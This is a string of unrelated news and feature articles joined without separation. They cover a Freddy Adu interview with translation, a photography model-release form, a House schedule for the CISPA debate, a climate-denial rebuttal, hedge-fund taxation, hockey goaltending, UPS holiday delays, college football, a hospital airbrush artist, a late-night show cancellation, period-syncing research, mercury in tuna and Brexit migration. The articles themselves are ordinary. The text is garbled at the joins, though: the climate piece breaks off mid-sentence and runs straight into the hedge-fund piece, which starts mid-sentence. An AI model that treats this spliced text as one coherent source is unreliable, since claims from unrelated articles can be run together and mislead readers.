Gosto muito de ir pra praia. Tenho companheiros que são ótimas pessoas. Ryder, Douglas Pires, Rafael Donato, que moram perto de mim. Sempre vou pra casa deles, fazemos um churrasco, na área de Praia do Flamengo.
What do you think of Salvador?
I really like going to the beach. I have teammates who are really nice people. Ryder, Douglas, Rafael Donato, who live close to me. I always go over to their houses, and we have BBQs in the area around Praia do Flamengo.
Muita gente no clube diz que você é quase um baiano…
(Gargalhadas) A adaptação foi rápida. Eu gosto muito da cultura do Brasil. A vida não é longa e temos que aproveitar. Tenho um bom trabalho e posso ajudar minha família. Por isso estou sempre feliz.
Lots of people at the club say that you’re practically Baiano…
(Laughing) The adjustment was fast. I really like Brazilian culture. Life is short, and we have to take advantage of it. I have a good job, and I can help my family. Because of that, I’m always happy.
Sua família conhece a cidade?
Eles estão nos EUA, mas vou trazer eles aqui. Minha mãe e meu irmão vem em agosto.
Has your family even been to the city (Salvador)?
They’re in the U.S., but I’m going to bring them here. My mom and my brother are coming in August.
E em relação à música daqui. Gosta de escutar?
Gosto de Oito7nove4. É assim: ‘Dá um abraço, dá o outro, faça o movimento…’ (canta). Eu gosto muito dessa! Essa música é fera pra mim. Mas eu gosto mais de hip-hop, porque é a minha cultura nos Estados Unidos.
About the music here, do you like listening to it?
I like Oito7nove4. It goes likes this, “Dá um abraço, dá o outro, faça o movimento…” (singing). I like that one a lot! That song is fire to me, but I like hip-hop more because it’s my culture in the United States.
Qual o seu maior sonho?
Hum… Quero jogar na Copa. Jogar na Liga dos Campeões da Europa. Por isso eu assinei com o Bahia. Quando você joga bem aqui, todos os times do mundo querem você.
What’s your biggest dream?
Um… I want to play in the World Cup. Play in the Champions League. Because of that I signed with Bahia. When you play well here (in Brazil), every team in the world wants you.
Dá pra voltar à seleção?
Claro que sim. Já falei com o treinador e ele disse que eu tinha que jogar na liga mais forte. Se tinha a oportunidade de jogar no Brasil… Porra, tinha que jogar aqui. Tem tudo aqui agora: Copa do Mundo, Jogos Olímpicos. O Brasil está muito forte e os clubes estão com mais dinheiro. Todo mundo quer jogar aqui.
It is possible to return to the national team?
Of course it is. I already talked to the coach, and he told me that I had to play in a better league. If I had the opportunity to play in Brazil…F***/S***, I had to play here. Everything is here right now: The World Cup, the Olympics. Brazil is really strong, and the clubs have more money. Everyone wants to play here.
Quem é Freddy Adu?
Como jogador, Freddy Adu é um cara que joga bonito, joga feliz. Como pessoa, também. Sempre feliz.
Who is Freddy Adu?
As a player, Freddy Adu is a guy that plays with flair, that plays happy. As a person, also. (I’m) always happy.
Seu português está ótimo. Soube que você faz umas gracinhas com os jogadores…
Que nada. Meu português está fraco. Gracinhas é mais fácil. Gosto muito dos meus companheiros de time. Sempre todo mundo brincando. É como uma família, é bom. Meu antigo time não tinha isso. Tinham vários grupos. Aqui todo mundo está junto.
Your Portuguese is great. I knew that you joked around with the players…
Not at all. My Portuguese is weak. Jokes are easier. I really like my teammates. Everyone is always joking around. It’s like a family, and that’s good. My old team wasn’t like that. There were different cliques. Everyone is together here.
Seria o jeito brasileiro?
É isso… Quando eu saio de casa todo mundo brinca. Aê Freddy Adivis! E aí Freddy Adivis? É bom demais.
Could it be that that’s the Brazilian way?
That’s it…when I leave my house everyone is joking around. “Yo, Freddy Adivis! What’s up Freddy Adivis? It’s really great.
http://www.correio24horas.com.br/esportes/detalhes/detalhes-1/artigo/freddy-adu-brinca-com-apelido-baiano-e-revela-gosto-de-oito7nove4/
*All translation done by Colin Reese. Any mistakes are my own.Increased public concerns over privacy has led the Royal Photographic Society (RPS) to launch a generic model-release form that is free to download for all photographers, members and non-members alike
[Photo credit: © Rose Teanby]
The form specifies how pictures can be used and aims to protect the photographer and their subjects in the event of any future privacy dispute.
Available to enthusiasts and professionals, the RPS Model Release Form can be downloaded at www.rps.org/MRF.
RPS director general Michael Pritchard said: ‘The RPS has a commitment to support all photographers, and documents such as the model release, although simple, are important for the protection of photographers and their models in the event of a future dispute.’
The RPS says it worked with a top law firm to produce the template, which comes with guidance for amateur and professional photographers.
Pritchard added: ‘The Society will be developing a range of key resources for photographers over coming months.’
Rose Teanby, an RPS member from Nottingham, was the first photographer to use the RPS Model Release Form.
Rose – who used it when photographing Peter Lord and David Sproxton from Aardman Animations – said: ‘It was a great comfort to have the form available for such an important portrait session, and to feel that I had the reassurance of the RPS behind me.
‘Both Peter Lord and David Sproxton had no hesitation in signing.
‘I found the form very clear, logically laid out and not too overwhelming for the client, which was very important.’April 26, 2012
2012-04-26T12:00:08-04:00
https://images.c-span.org/Files/1c5/305563-02-m.jpg
One Minute Speeches (15 per side)
Begin Consideration of H.R. 3523 - Cyber Intelligence Sharing and Protection Act, Rules Committee Print (Structured Rule) (Sponsored by Rep. Mike Rogers (MI) / Permanent Select Intelligence Committee)
The rule provides for one hour of general debate and makes in order the following amendments: (10 minutes of debate each)
Reps. Langevin / Daniel Lungren Amendment
Rep. Conyers Amendment
Rep. Pompeo Amendment #36
Reps. Rogers (MI)/Ruppersberger/Issa/Langevin Amendment
Rep. Jackson Lee Amendment
Reps. Quayle / Eshoo / Thompson (CA) Amendment (10 minutes of debate)
Reps. Amash / Labrador / Paul / Nadler / Polis Amendment (
Reps. Mulvaney/Dicks Amendment
Rep. Flake Amendment
Rep. Richardson Amendment
Rep. Pompeo Amendment #37
Rep. Robert Woodall Amendment
Rep. Goodlatte Amendment
Rep. Michael Turner Amendment
Rep. Mulvaney Amendment
Rep. Paulsen Amendment
H.R. 4257 - Federal Information Security Amendments Act of 2012 (Suspension, 40 minutes of debate)
One Minute Speeches (15 per side) Begin Consideration of H.R. 3523 - Cyber Intelligence Sharing and Protection Act, Rules Committee Print… read more[Image credit: Shutterstock / Barnaby Chambers]
Another day, another series of ridiculous and incorrect claims about global warming getting far more air than they deserve.
The latest comes from none other than David Rose, a man who has serially misunderstood climate change so consistently that if he told me the sun would rise tomorrow, I'd be more inclined to believe the Earth had stopped rotating. He writes articles for the Daily Mail —it would be an insult to the fish to wrap them in this tabloid — and he uses a lot of typical techniques wielded by deniers, including cherry picking and misdirection. While he doesn't always deny global warming is happening, he does think it's not as bad as scientists say. I'll also note he has claimed the world is cooling, too, despite all the evidence (and I do mean all of it).
But if you deny what the overwhelming majority of climate scientists are telling you, then in my opinion that makes you a denier.
So what's new? Rose and some other climate change deniers claim that global temperatures have flattened out in the past 20 years or so. This is called a "pause" or hiatus in warming. However, last year, scientists from the National Oceanic and Atmospheric Administration (NOAA) came out with a paper showing that global warming has not slowed at all, and the pause wasn't real. But Rose claims to have a whistleblower from the NOAA who says that scientists improperly managed and misused the temperature data measuring global warming. If the data are wrong, the deniers reason, then the pause must be real.
The problem? This is all nonsense. The data are fine, the pause never happened, temperatures are still rising apace, and Rose gets it all wrong.
First, the "pause" is a claim that global warming has stopped since 1998 or so. This claim was never really true. 1998 was an unusually warm year, so if you start your measurements there it doesn't look like temperatures have risen much. But if you go back farther in time, the upward trend is very obvious. You have to look at the trend, and not short-term fluctuations!
Video of e0vj-0imOLw
Still, scientists like to review the data they use to make sure they're accurate. Rose's article deals with a specific set of measurements of ocean water temperatures (I'll describe this briefly here, but for details please read an earlier article I wrote). Historically, this has been done using ships. This is problematic for various reasons; different ships use different methods, and worse, some scoop up water via intake pipes and pump it to the engine room, where the temperature of the water is measured. But this tends to warm the water up, leading to inaccurate measurements.
In more recent times buoys and floats have been used to do this, and they are far more accurate. In a paper published last year, scientists showed this and applied carefully calibrated corrections to the data. When they did, they showed pretty clearly that the global warming "pause" never really happened.
In his article, Rose calls these data into question. He makes a lot of claims in that article, but these claims are sweepingly wrong. If you want details, I urge you to read these articles by climate scientists outlining (and detailing) just where Rose is off the mark:
- In The Guardian, John Abraham points out that Rose's whistleblower never worked on the data.
- Zeke Hausfather, with Berkeley Earth, wrote a scathing rebuttal to Rose's claims at Carbon Brief — seriously, read this article if no other. Not so incidentally, he was also the lead researcher on a paper that independently verified the results of the original ocean temperature study.
- Another scientist, Victor Venema, ably disposes of Rose's claims at his blog Variable Variability.
- Climatologist Peter Thorne just simply destroys Rose's claims point by point at ICARUS.
Together these show that Rose is, as usual, grossly exaggerating the death of global warming.
The reason I'm writing my own post is that I predicted something like this. As I read Rose's article, one part made me chuckle ruefully. As I said above, in the (accurate and well-done) research paper that started all this, the scientists show the buoy measurements are better than ships because the water measured on ships was first pumped into the ships |
fund manager is deriving income that’s as directly earned as the wages of a steelworker. He made money when he established his fund. But the rule for hedge funds is that the “realization event”—when income is realized—is not known until later, so “carried interest” turns the income into a capital gain. This is what’s known as a legal fiction, which means that it’s a great big lie.
Warren Buffett won a lot of praise by pointing out that his secretary pays taxes at a higher rate than he does. Actually, Buffett’s 20 percent rate is not due to the hedge fund loophole, but presumably because the vast majority of his income comes from dividends or capital gains, which are taxed at the lower rate because the corporation has already paid taxes on that income when it was first earned. Unlike the directly earned income of hedge fund executives, the “same” money is being taxed twice. Buffett’s point is well-meaning, but it’s in fact more appropriate when applied to the special tax privileges enjoyed by hedge fund operators.
There is no justification for taxing hedge fund managers’ income as capital gains. So how could Congress have done such a thing? Here’s the secret: Congress didn’t do it. There are a lot of special deals that the federal legislature has snuck into law, but this isn’t one of them.
The hedge fund tax loophole wasn’t a bill that was passed into law; it was never voted on. It was part of a revenue procedure issued by the Internal Revenue Service in 1993, before there was any such thing as a hedge fund.
According to Alan Wilensky, who in 1992 and 1993 was the acting assistant secretary of the Treasury for tax policy, the revenue procedure intended to clarify the tax treatment of some real estate investments. It defined a “realization event” as when an interest in a piece of real estate was sold or exchanged; if the event happened more than year after the real estate had been acquired, then the tax would be considered on a long-term capital gain.
Later, when hedge funds started to come into being, the IRS applied the same revenue procedure to this completely different new financial device. No new ruling was issued—the old one was just assumed to cover it. This may have been understandable given the small number of hedge funds at the time, but by the end of the 1990s, hedge funds had become a wildly profitable and highly visible part of Wall Street. Robert Rubin, then Treasury secretary, could have asked for a new revenue ruling but chose not to address the new landscape.
And there still has been no hedge fund–specific ruling on this matter. That’s why hedge funds could lose their tax advantage if only the IRS issued a new ruling saying so—no act of Congress required. The IRS is part of the Department of the Treasury. The secretary of the Treasury is appointed by the president and is part of his Cabinet.
So the outrageous exemption from fair taxation could be ended right now if only President Obama would pick up the phone and order it done. He’s the one who’s been claiming that administrative remedies are just fine, despite the presence of the Congress: When Congress couldn’t move on the minimum wage bill, the president applied a new higher wage to federal contractors—and he did this administratively. The guidelines to cut carbon pollution are likewise administrative.
So: Go for it, Mr. President. With one call you could bring enormous new revenues into the Treasury each year, and, not incidentally, cut the price of Picassos in half, to say nothing of the effect on $80 million condos.
What swift action by the president will not do is impoverish hedge fund managers. Paying the same tax rates as their accountants will not clean out the hedge fund kings. The 25 highest-earning hedge fund managers and traders made a combined $24.3 billion in 2013, according to Nathan Vardi in Forbes.
There’s a 31-year-old hedge fund manager who made $119 million in 2013. And he’s almost certainly paying taxes at a lower rate than most people reading this article. It doesn’t have to stay that way.The St. Louis Blues seemingly always find a way to bow out earlier than expected in the Stanley Cup playoffs, with their goaltending shouldering much of the blame in recent years.
Earlier this season, it seemed as if Jake Allen was finally poised to become the goaltender of the future for the Blues, but in the latter half of the season it has been Brian Elliott leading the charge, owning the highest save percentage in the NHL over that time to boot.
Both Allen and Elliott have been above average goaltenders this season, with Allen getting slightly more work overall, but the veteran has been pushing him out lately. So the question becomes: who should the Blues be looking at come playoff time?
To find out, we can look at which goalie has faced tougher shots this season, and who would be expected to save more come playoff time.
Allen has faced slightly more inner slot shots against, but fewer shots from the slot overall. When Elliott has played, the Blues seem to have a bit more trouble keeping shots to the outside. That said, the difference in expected save percentage between the two goalies is just 0.12 per cent, with Elliott facing the slightly more difficult shots.
What is surprising is that the Blues, a noted defensive team, give up more shots from the inner slot than average, hence their goalies have a lower than league average expected save percentage.
The Blues give up the eighth fewest shots against at even strength, but are only average in all situations, ranking 14th, so maybe their reputation as a defensive team has been slightly misplaced this season.
The other big factor to consider here is inner slot save percentage, which is just 75.5 per cent league-wide. Almost half of all goals in the NHL are scored from the inner slot, so how a goaltender performs there is a huge indicator of the chances they give their team to win.
Calculating expected save percentage versus actual save percentage, we get relative save percentage as a measure of goaltender performance above replacement level, and we can do the same for inner slot save percentage.
Both goalies are good bets to be positive contributors, but Elliott has been incredible, especially lately. Sometimes riding the hot hand can be a bad decision with goaltenders, but there’s enough data here to suggest that right now, Elliott is the superior bet going into the playoffs.UPS expects to deliver 750 million packages this holiday season, up from 712 million last year. (Bill O’Leary/The Washington Post)
If it seems like your online orders are arriving later than expected, you’re not alone.
An influx of online purchases — particularly during Cyber Monday, the busiest online shopping day in U.S. history — is testing the limits of carriers including UPS, despite heavy investment in new warehouses and seasonal employees. Americans spent a record $6.59 billion online on Cyber Monday, according to data from Adobe Analytics.
The number of late deliveries typically doubles during the holidays, leading to headaches for shoppers and retailers alike, according to data from LateShipment.com, an Orlando-based start-up that tracks shipment delays.
UPS, the world’s largest delivery company, warned last week that some deliveries would be delayed by one or two days, as staffers worked extended hours to manage the rush. UPS expects its holiday load to rise 5 percent, to 750 million packages, this holiday season, while FedEx says it’s planning for up to 400 million parcels.
And pilots who deliver for DHL and Amazon’s Prime Air say they are already experiencing delays, which are likely to grow worse in coming weeks. (Jeffrey P. Bezos, the founder and chief executive of Amazon, owns The Washington Post.)
[Your 10,000 packages arrived — and they’re causing all kinds of problems]
“It looks like the next three weeks are going to be challenging, particularly with serving Amazon,” said Robert Kirchner, a pilot for Atlas Air Worldwide Holdings and executive council chairman of Teamsters Local 1224, a labor union that represents pilots and crew members from 11 airlines. “Amazon is already expecting delay problems — we know this from UPS and certainly from our own flight problems — and we’re expecting that it’s going to get worse in the next two weeks leading up to Christmas.”
Atlas, he said, now has 12 cargo planes devoted to Amazon deliveries, up from two last year. But morale is low among pilots, with one-third of them actively looking for employment elsewhere, according to a recent union survey. Roughly 220 pilots have quit this year, leaving the company with about 1,500 active pilots. (A spokesman for Atlas Air disputed those claims: “We disagree with the union’s commentary,” Dan Loh said in an email. “We are fully staffed and fully committed to meeting our customers’ expectations.”)
“Working conditions are getting worse, which means pilots are getting sick, they’re dealing with fatigue,” Kirchner said, adding that the union is currently in contract negotiations with Atlas. “When a pilot calls in sick this time of year, there are very few replacements available.”
UPS said it has staffers working extended hours to manage the rush. About 89 percent of UPS Express packages were delivered on time between Nov. 27 and Dec. 2, compared to 99 percent at FedEx, according to ShipMatrix, a Pennsylvania-based company that tracks deliveries.
[Black Friday’s not dead yet: 70 percent of American adults shopped Thanksgiving weekend]
UPS, which had plans to hire 95,000 temporary workers this holiday season, also recently implemented a 70-hour, eight-day workweek for its drivers. (They previously worked 60 hours over seven days.) A spokeswoman for the company said UPS workers will process nearly double the company’s daily average of 19 million packages and documents between Thanksgiving and Christmas.
On Monday, the company said last week’s delays had been resolved.
“UPS’s operations have returned to the peak operating plan after the initial cyber week surge,” spokeswoman Natalie Godwin said in an email. “The vast majority of packages will be delivered in accordance with the service commitments for the specified time-in-transit.”
Retailers are increasingly taking matters into their own hands by encouraging shoppers to buy online and pick up in the store. Walmart offers discounts to customers who collect their own orders. Sears, meanwhile, allows shoppers to pick up items curbside, without ever getting out of their cars.
Those types of arrangements are increasingly important to retailers, analysts say, because they afford them greater control over customers’ deliveries. One late Christmas delivery can be enough to ward off shoppers, says Sriram Sridhar, chief executive of LateShipment.com, who advises retailers to preemptively inform customers if it looks like their items will be delayed.
Sridhar added that UPS and FedEx, which generally offer refunds to retailers on delayed deliveries, make no such guarantees during the holidays.
“The holiday rush typically translates into an automatic reduction in on-time deliveries,” he said. “If merchants aren’t proactive, it’s an almost guaranteed way of losing that customer.”
Read more:
Your 10,000 packages arrived — and they’re causing all kinds of problems
Retail’s newest bad word: Walmart drops ‘stores’ from its formal name
I’m not going to ‘let evil win’: Patagonia’s billionaire owner says he plans to sue Trump
Cyber Monday is shaping up to be the largest online shopping day in U.S. history(What's happening with the Arkansas Razorbacks? Make sure you're in the loop --- take five seconds to Sign up for our FREE Razorbacks newsletter now!)
ROGERS -- While the outside world has been focused on Austin Allen and where he ranks in the SEC, Arkansas' coaching staff has been looking beyond him on the depth chart.
Head coach Bret Bielema acknowledged Monday that Allen has set himself apart from the pack as the Razorbacks' No. 1 quarterback, but that isn't the case for his backup.
Neither third-year sophomore Ty Storey nor redshirt freshman Cole Kelley separated himself during 15 spring practices, so they will continue fighting for the No. 2 job throughout the fall.
"Ty Storey is probably playing as good of football as I've seen him play," Bielema told the media at the annual NWA Razorback Club golf tournament. "Cole Kelley had a procedure done during the winter that really shot him up for a great spring and then in the summer he looks good. He looks lean. He looks really really good.
"I'm excited to see those two kinda battle it out for that No. 2 spot."
Storey, a former four-star recruit from Charleston (Ark.), was Allen's backup in 2016 and appeared in three games. He completed 1 of 4 passes for three yards, with his most significant playing time coming in Arkansas' blowout loss at Auburn.
Although he wasn't as highly rated coming out of Lafayette (La.) Teurlings Catholic, Kelley made a push for the backup job last season before ultimately redshirting as a true freshman. Standing at 6-foot-7, he has developed a reputation as a gunslinger and been nicknamed "The Franchise."
Bielema also mentioned that true freshman Daulton Hyatt and walk-ons Jack Lindsey and Carson Proctor were still competing for the fourth-string quarterback spot, which would get to travel with the team.
Be sure to enjoy VIP access to Hawgs247 with our 7-day free trial promotional offer.A Tauranga artist has offered to use his unusual skills and "tattoo" all the sick children at Auckland's Starship Hospital.
Benjamin Lloyd said he had painted fake tattoos on several children and he got the idea of going to Starship Hospital after he saw the smiles the designs produced.
"It's just the confidence they get - especially the boys they walk round so proud, you put art on them and they're just so excited they can choose their own designs.
"They're so fascinated while they're getting it, they're so happy with it."
BENJAMIN LLOYD The children are extremely happy and gain so much confidence from getting the designs, Benjamin Lloyd says.
READ MORE:
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It takes about eight minutes to do a sleeve design on a child's arm, which was also about the extent of children's attention spans, he said.
"You've got to be quick. And it's good with this design you can get a lot done really quickly."
The only downside is that parents tell him their kids never want to shower or wash it off.
Lloyd wrote about his plan on Facebook on Sunday afternoon and by Monday had more than 250,000 likes and 130,000 shares.
BENJAMIN LLOYD Benjamin Lloyd working on his airbrush designs.
Lloyd said the post has reached more than 15 million people and sent his phone into meltdown.
"I checked it this morning and was just like 'Wow'. I started crying I couldn't believe it."
The 25-year-old artist has airbrushed tattoo designs on a handful of children over the past two years, after years decorating cars and houses.
He uses stencils and sprays his designs using India ink that can be washed off in the shower.
Lloyd said part of his inspiration for helping children was his own experience drawing fake tattoos on himself when he was young.
"I've been drawing my whole life. When I was two years old I had quite a bad burn on my hand and had a skin graft with my bum skin on my hand. I had a big complex about it. I was teased every day at school and so I would draw over my hand and up my sleeve. I just got better and better, eventually I had a line up of people wanting me to draw on them, I was doing deals with kids swapping cards and marbles".
From there he has started his own airbrushing company, working on absolutely everything, with the motto "you say it I'll spray it".
He said he has been overwhelmed by the positive reaction to his plan to go to Starship Hospital and was hoping to visit later this week.
With the enormous spike in demand, he said he may need help from fellow airbrush artists and said anyone who would like to get involved could contact him through his Facebook page.Wilmore covered politics with a refreshing blend of humor and substance. Stephen Lovekin/Getty Images for Comedy Central
Comedy Central has canceled The Nightly Show, which will end its run on Thursday, with a re-slotted @Midnight taking its place until a permanent option is determined. The move effectively cuts ties with host Larry Wilmore, who gained notoriety back in 2006 on the network’s Daily Show as its “Senior Black Correspondent” and then segued into a late-night series of his own. However, his Nightly Show—which featured sharp political commentary and roundtable discussions—was never a strong ratings performer over its year-and-a-half run, with Wilmore vocally preferring substantive content to more viral-friendly, “pure comic” fodder such as James Corden’s Carpool Karaoke or Jimmy Fallon’s Lip Sync Battle.
Wilmore and new Daily Show host Trevor Noah replaced the beloved block that Jon Stewart and Stephen Colbert had occupied until 2015, and their mere presence in late night—as two comics of color—was considered radical, as all of their peers were (and remain) white. While Noah has struggled to reach the critical appreciation of his predecessor, Wilmore carved out a uniquely powerful space, provocatively covering the current presidential election as “The Unblackening” and responding to racial issues such as police brutality with sincere indignation.
“Unfortunately, [The Nightly Show] hasn’t connected with our audience in ways that we need it to,” Comedy Central president Kent Alterman told the Hollywood Reporter, which first broke news of the cancellation. “We just didn’t feel like we had enough traction to sign up for another year. It wasn’t about the election; it’s about another year of the show.” Alterman added that the decision did not come “just in terms of ratings,” arguing that the show “hasn’t resonated” with viewers.
Wilmore—an executive producer on Black-ish and the upcoming HBO comedy Insecure—expressed both sadness and surprise at the network’s decision. With this cancellation, Noah is now the lone voice of color in the late-night space, a regressive move rendered starker by the fact that Wilmore provided complex, destabilizing commentary on racial issues that was otherwise lacking in late night. The Nightly Show host echoed that sentiment in his response to the Hollywood Reporter regarding his exit, with a certain sly jab: “I guess I hadn’t counted on ‘The Unblackening’ happening to my time slot as well.”Talk to a woman about her period and she will probably give you an example of the time her cycle aligned with a friend, partner, colleague or family member. Many of us have noticed that the closer we get to another woman the more we seem to get crampy, grumpy, tired, bloated and spotty at the same time. It’s as if our uteruses, in a monthly show of solidarity, are saying hey, why not go with the flow? Let’s do this painful, stigmatised, and bloody expensive thing together, and take advantage of the three-for-two tampon offers in the process.
However, a new scientific study – thought to be the largest of its kind – has found data showing women’s periods do not synchronise when they live together after all. The study – carried out by period tracking and fertility app Clue in partnership with the University of Oxford – received 1500 responses, which were narrowed down to 360 pairs of women. Analysing three consecutive cycles in each pair, the research found the vast majority – 273 pairs – had a greater difference in period start dates at the end of the study than at the beginning. In other words, menstrual syncing is a myth up there with periods being tied to the waxing and waning of the moon. Not only that, women’s menstrual cycles are more likely to diverge than come together over time.
“It’s very unlikely that cycle syncing is a real phenomenon,” says Clue’s data scientist Marija Vlajic. “Menstrual syncing amongst the sample we had did not exist. We’ve also done some statistical tests and found that the difference in cycles actually grows. This doesn’t mean that pairs go out of sync – it means they were never in sync in the first place. It’s the nature of two mathematical series that keep repeating: the series will diverge as the numbers grow.”
This has been my experience. I have been with my female partner for 13 years, living together for 11 years. In that time, our periods have never synced for more than a month or two, because our cycles are different lengths.
“Exactly,” Vlajic says. “So there will be a time every six months, say, when your periods sync but that doesn’t mean the difference is getting smaller.” Has Vlajic ever experienced her period syncing with another woman? “My background is scientific,” she notes. “So when I say to my friends that I have my period and they have theirs too I don’t conclude that we are syncing. I just think it’s information bias; our brains looking for patterns.”
Still, the belief in menstrual synchrony persists, with a study published in 1999 revealing that 80% of women believed in the phenomenon and 70% saying they enjoyed it. The editor who commissioned this piece told me that she syncs with her sister whenever they spend time together and gets her period at the same time as her closest colleague. The idea has been around for centuries, though because menstrual health has long been overlooked by the scientific research community it was not until 1971 that it was first documented in a study.
In a Harvard research paper titled Menstrual Synchrony and Suppression, psychologist Martha McClintock tracked 135 female college students living in the same dorm and found “a significant increase in synchronisation of onset dates”. She concluded: “the evidence for synchronicity is quite strong, indicating that in humans there is some interpersonal physiological process which affects the menstrual cycle.”
The idea that pheromones enable women to become sexually receptive at the same time has been researched in various groups as well as in rats, baboons and chimpanzees. Themain evolutionary explanation is that it permits female species to avoid being monopolised by a single dominant male. But McClintock’s paper has been discredited on methodological grounds and a whole host of other studies, like this new one, continue to prove that menstrual synchrony is a myth.
So why won’t we let this one go? And how does Vlajic explain all the anecdotal evidence of our periods synchronising? “I like the idea myself of this dominant super uterus in a group of women that makes everyone adjust their cycles,” she admits. “I can see how it gives you a special connection with a woman to go through that at the same time. It feeds into a feeling of connection, support, and sisterhood. Even though we do it every month, t Periods are personal and the thought of sharing with someone makes the idea powerful. That’s why we continue to look for patterns even when they don’t exist.”
Chitra RamaswamyWhether man-made sources of mercury are contributing to the mercury levels in open-ocean fish has been the subject of hot debate for many years.
My colleagues Carl Lamborg, Marty Horgan and I analyzed data from over the past 50 years and found that mercury levels in Pacific yellowfin tuna, often marketed as ahi tuna, is increasing at 3.8% per year. The results were reported earlier this month in the journal Environmental Toxicology and Chemistry.
This finding, when considered with other recent studies, suggests that mercury levels in open-ocean fish are keeping pace with current increases in human-related, or anthropogenic, inputs of mercury to the ocean.
These levels of mercury - a neurotoxin - are now approaching what the EPA considers unsafe for human consumption, underscoring the importance of accurate data. With this article, I'll explain the evolution of the science to this point and our findings. I expect our analysis will either quiet the debate or add more fuel to the fire.
Busting the dilution myth
Motivated by the seminal environmental book Silent Spring, environmental chemists have long found widespread mercury pollution in wastewater from industrial activities.
Surprisingly, mercury also appeared far from point sources - in 'pristine' lakes of Scandinavia and northeastern North America. It took many years and careers to understand why mercury wound up in these 'pristine' lakes.
Once emitted from natural or man-made sources, such as coal-burning power plants, mercury can travel as a gas many times around the globe before falling with rain, snow, or dust. Once out of the air and in the water, it can then be taken up by fish.
There has been a false perception, however, that the open ocean - far removed from point sources of pollution - is too voluminous to be polluted with mercury from atmospheric fallout.
The shorthand for saying oceans can't be significant sinks for air-borne pollutants is 'dilution is the solution to pollution.' The argument is that lakes are concentrated environments because they are in direct contact with their watersheds that collect rain and snow, but the deep open ocean is an extremely dilute environment.
Two manuscripts published in Science in the early 1970s supported this argument. The first stated that mercury pollution could only result in a negligible increase in mercury levels in open ocean water.
But my colleagues and I found these conclusions were based on faulty data. Before the advent of clean sampling techniques that prevent contamination before, during, or after collection, it was accepted that natural mercury levels of open ocean waters ranged in the low parts per billion.
But we now know that a typical mercury level is about 200 parts per quadrillion. That means the natural mercury level of open ocean water is about 5,000 times lower than previously thought - and that it takes a lot less mercury from other sources to pollute the open ocean.
The second manuscript reported no difference in mercury levels in tuna between museum specimens dating from 1878-1909 and samples caught during 1970-1971. This finding may be true, but also has a critical error in that mercury levels in the museum specimens were not 'corrected' for lipid (fat) loss.
Mercury is primarily in fish muscle and preservation with ethanol causes significant loss of fats. The net effect is that this preservation technique 'inflates' the mercury concentration in the tissue that remains.
As a result, we question how valid these findings are. In other words, this second study doesn't conclusively demonstrate whether mercury levels in fish have gone up, down, or stayed steady.
But where's the mercury coming from?
More recently, the focus of debate has been on the source of mercury in open-ocean fish. The mercury absorbed by fish is a compound called methylmercury, a form readily taken up by plant and animal cells but not easily eliminated.
Because of this, mercury is concentrated with each step of the food chain. As a result, methylmercury levels in predatory fish are about a million times greater than in the water in which they swim.
In lakes, there is overwhelming evidence that methylmercury is formed in sediments and bottom waters that are devoid of oxygen. But where is methylmercury in oceans formed?
In 2003, Princeton scientists published a hypothesis to answer the question of where methylmercury comes from in open ocean fish. The hypothesis was based on the observation, mentioned above, that there was no increase in mercury levels in yellowfin tuna near Hawaii between 1971 and 1998.
With no increase in mercury levels in tuna during a period of greatly increasing anthropogenic mercury emissions, the scientists presented the idea that methylmercury in the open ocean forms from mercury naturally present in deep waters, sediments, or hydrothermal vents.
Subsequently, however, independent studies have shown that there is not enough methylmercury in deep waters of the ocean to account for mercury in open ocean fish.
One of these studies also found that methylmercury is formed on sinking particles in the water that provide a micro-environment devoid of oxygen. That research showed that the methylmercury is formed from mercury coming from above - that is, the atmosphere - which we know is polluted from human activities.
Finally and most importantly, we know mercury levels in ocean water are increasing globally.
What the numbers say
Given the ongoing debate, our study set out to test a simple question: have mercury levels in fish stayed the same over time?
We assembled data from published sources for mercury in yellowfin tuna from Hawaii to compare three different time periods: 1971, 1998, and 2008. The comparison had to factor in the size of each tuna for each time period, because mercury level increases with size.
The statistical comparison indicated mercury levels were higher in 2008 than in either 1971 or 1998. As a result, we concluded that mercury levels are increasing in yellowfin tuna near Hawaii. The rate of increase between 1998 and 2008 of 3.8% per year is equivalent to a modeled increase in mercury in ocean waters in the same location.
What's the source of the mercury? The overwhelming scientific evidence points to anthropogenic sources of mercury polluting open ocean waters and methylmercury being produced in the water column and then accumulating in fish. The average mercury level in a Pacific yellowfin tuna is approaching a level the US EPA considers unsafe for human consumption (0.3 parts-per-million).
Fish are an important source of food for billions of people worldwide and a solution to the problem is not to eat less fish, but to choose fish lower in mercury, as the EPA and FDA jointly recommend.
The ultimate solution to the problem is to control mercury emissions to the atmosphere at their source, which is the aim of the new United Nations Environment Programme's Minamata Convention on Mercury.
Paul Drevnick is Assistant Research Scientist at the University of Michigan.
This article was originally published on The Conversation. Read the original article.Deloitte study finds 47% were considering leaving after Brexit, while overall one-third of non-British workers could leave
One third of non-British workers are considering leaving the UK, with highly skilled workers from the EU most likely to go, according to new research into the impact of Brexit on the jobs market.
The consultancy firm Deloitte found 47% of highly skilled workers from the EU were considering leaving the UK in the next five years. In a report on Tuesday, it warns of serious implications for employers, raising the pressure on ministers to come up with sensible immigration plans and to find ways to improve the skills of UK workers and make better use of robots in the workplace.
Overall, 36% of non-British workers in the UK said they were thinking of leaving within the same period, representing 1.2m jobs out of 3.4 million migrant workers in the UK. Just more than quarter (26%) said they were considering leaving within three years.
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The research chimes with other evidence that the Brexit vote has prompted some workers from other EU countries to leave already or consider going. This is partly because of uncertainty around the UK’s economic outlook and because any money those workers earn in pounds is now worth less in euros for them to send home. The pound fell sharply after the referendum and is still down 13% against the euro compared with the day of the vote.
Deloitte surveyed 2,242 EU and non-EU workers, half living in the UK and half living outside, to assess their views on what makes Britain attractive and how likely they would be to come to, or leave, the country.
The survey, conducted before this month’s inconclusive election result, found the UK was still an attractive place to work for overseas residents but the referendum had shifted perceptions among those already here.
For respondents based outside the UK, the country was ranked as the most desirable place to work, with 57% of respondents placing it in their top three destinations. That put the UK ahead of the US, Australia and Canada for popularity.
But among workers already in the UK, 48% said they saw the country as being a little or significantly less attractive as a result of Brexit. Only 21% of workers outside the UK shared that view.
“The UK’s cultural diversity, employment opportunities and quality of life are assets that continue to attract the world’s best and brightest people,” said David Sproul, chief executive of Deloitte north-west Europe.
“But overseas workers, especially those from the EU, tell us they are more likely to leave the UK than before. That points to a short- to medium-term skills deficit that can be met in part by upskilling our domestic workforce but which would also benefit from an immigration system that is attuned to the needs of the economy.”
The referendum effect was strongest among highly skilled EU workers in the UK, with 65% describing the country as less attractive since the Brexit vote. Among less-skilled workers, 42% of EU nationals and 25% of non-EU nationals said the UK was now less attractive.
